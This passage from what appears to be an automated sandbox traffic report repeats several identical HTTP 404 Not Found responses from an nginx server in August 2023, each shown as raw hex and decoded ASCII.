20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:29 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:31 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:33 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:36 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:38 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:40 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:43 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:45 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:48 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 